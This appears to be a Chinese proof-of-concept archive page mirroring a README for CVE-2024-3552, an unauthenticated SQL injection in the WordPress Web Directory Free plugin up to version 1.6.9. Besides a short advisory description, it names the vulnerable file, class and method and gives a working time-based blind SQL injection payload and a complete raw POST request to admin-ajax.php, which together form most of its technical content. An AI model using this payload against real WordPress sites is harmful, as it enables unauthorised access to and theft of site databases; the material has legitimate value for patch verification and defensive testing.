关联漏洞
描述
CVE-2024-3552 Web Directory Free <= 1.6.9 - Unauthenticated SQL Injection
介绍
# CVE-2024-3552-Poc
CVE-2024-3552 Web Directory Free <= 1.6.9 - Unauthenticated SQL Injection
Description
The Web Directory Free plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.6.9 due to insufficient escaping on a user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/web-directory-free/web-directory-free-169-unauthenticated-sql-injection
File: /web-directory-free/classes/ajax_controller.php
Class: w2dc_ajax_controller
Method: get_map_marker_info

Payload: ```action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(5),0)+from+(select+1)x)```
Raw request:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(5),0)+from+(select+1)x)
```
Poc:
Url paload false:

Url paload true:

https://github.com/truonghuuphuc/CVE-2024-3552-Poc/assets/20487674/96a92b63-a6ff-49b8-803a-ec9624c368d6
文件快照
[4.0K] /data/pocs/9fcd586c2a774c573f7b01702e073d19b44d3b06
├── [1.8K] README.md
└── [7.7M] web-directory-free.1.6.9.zip
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。